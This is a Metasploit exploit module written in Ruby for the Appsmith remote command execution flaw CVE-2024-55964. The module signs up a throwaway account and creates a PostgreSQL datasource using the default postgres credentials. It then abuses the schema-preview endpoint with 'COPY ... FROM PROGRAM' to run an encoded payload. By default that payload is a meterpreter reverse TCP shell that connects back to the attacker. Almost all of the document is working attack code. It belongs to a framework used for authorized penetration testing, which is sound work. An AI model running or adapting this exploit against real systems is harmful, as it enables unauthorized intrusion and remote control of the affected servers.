##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Appsmith RCE',
        'Description' => %q{
          An incorrectly configured PostgreSQL instance in the Appsmith image leads to remote command execution inside the Appsmith Docker container.
        },
        'Author' => [
          'Whit Taylor (Rhino Security Labs)', # Vulnerability discovery and PoC
          'Takahiro Yokoyama'                  # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2024-55964'], # Seems like correct CVE is not CVE-2024-55963 but CVE-2024-55964.
          ['URL', 'https://rhinosecuritylabs.com/research/cve-2024-55963-unauthenticated-rce-in-appsmith/'],
          ['URL', 'https://github.com/RhinoSecurityLabs/CVEs/blob/master/CVE-2024-55963/poc.py'],
        ],
        'Platform' => %w[linux],
        'Targets' => [
          [
            'Linux Command', {
              'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
              'DefaultOptions' => {
                # defaults to cmd/linux/http/aarch64/meterpreter/reverse_tcp
                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
              }
            }
          ],
        ],
        'DefaultOptions' => {
          'FETCH_DELETE' => true
        },
        'DefaultTarget' => 0,
        'Payload' => {
          'BadChars' => '\'"'
        },
        'DisclosureDate' => '2025-03-25',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(443),
      ]
    )
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'applications')
    })
    return Exploit::CheckCode::Unknown('Cannot reach server') unless res&.code == 200

    html_document = res.get_html_document
    return Exploit::CheckCode::Unknown('Failed to get html document.') if html_document.blank?

    version_element = html_document.text.match(/parseConfig\('v(\d+\.\d+)'\)/)
    return Exploit::CheckCode::Unknown('Failed to get version element.') if version_element.blank?

    version = Rex::Version.new(version_element[1])
    return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('1.20'), Rex::Version.new('1.51'))

    Exploit::CheckCode::Appears("Version #{version} detected.")
  end

  def exploit
    user = { 'email' => "#{rand_text_alphanumeric(50)}@#{rand_text_alphanumeric(50)}.com", 'password' => rand_text_alphanumeric(10).to_s }
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api/v1/users'),
      'keep_cookies' => true,
      'vars_post' => user
    })
    fail_with(Failure::Unknown, 'Failed to signup.') unless res&.code == 302
    print_status('Successfully signed up.')

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api/v1/workspaces/home')
    })
    fail_with(Failure::Unknown, 'Failed to access workspaces.') unless res&.code == 200

    workspace_id = res.get_json_document&.dig('data', 0, 'id')

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api/v1/plugins/default/icons')
    })
    fail_with(Failure::Unknown, 'Failed to get plugin information.') unless res&.code == 200

    postgresql_plugin = res.get_json_document['data']&.detect { |row| row['name'] == 'PostgreSQL' }
    fail_with(Failure::Unknown, 'Failed to get PostgreSQL plugin information.') unless postgresql_plugin

    postgresql_plugin_id = postgresql_plugin['id']

    db_conf = {
      'datasourceStorages' => {
        'unused_env' => {
          'datasourceConfiguration' => {
            'authentication' => {
              'databaseName' => 'postgres',
              'password' => 'postgres',
              'username' => 'postgres'
            },
            'connection' => {
              'mode' => 'READ_WRITE',
              'ssl' => { 'authType' => 'DEFAULT' }
            },
            'endpoints' => [
              { 'host' => 'localhost', 'port' => '5432' }
            ],
            'properties' => [
              nil,
              { 'key' => 'Connection method', 'value' => 'STANDARD' }
            ],
            'sshProxy' => { 'endpoints' => [{ 'port' => '22' }] },
            'url' => ''
          },
          'datasourceId' => '',
          'environmentId' => 'unused_env',
          'isConfigured' => true
        }
      },
      'name' => rand_text_alphanumeric(20),
      'pluginId' => postgresql_plugin_id,
      'workspaceId' => workspace_id
    }.to_json
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api/v1/datasources'),
      'ctype' => 'application/json',
      'data' => db_conf
    })
    fail_with(Failure::Unknown, 'Failed to save DB configuration.') unless res&.code == 201 && res.get_json_document&.dig('responseMeta', 'success')
    print_status('Successfully saved DB configuration.')

    datasource_id = res.get_json_document&.dig('data', 'id')

    table_name = rand_text_alpha(4)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, "api/v1/datasources/#{datasource_id}/schema-preview"),
      'ctype' => 'application/json',
      'data' => {
        title: 'SELECT',
        body: "create temporary table #{table_name} (column1 TEXT);",
        suggested: true
      }.to_json
    })
    fail_with(Failure::Unknown, 'Failed to create temporary table.') unless res&.code == 200 && res.get_json_document&.dig('responseMeta', 'success')

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, "api/v1/datasources/#{datasource_id}/schema-preview"),
      'ctype' => 'application/json',
      'data' => {
        title: 'SELECT',
        body: "copy #{table_name} from program '#{payload.encode}';",
        suggested: true
      }.to_json
    })
    fail_with(Failure::Unknown, 'Failed to execute payload.') unless res&.code == 200 && res.get_json_document&.dig('responseMeta', 'success')
  end

end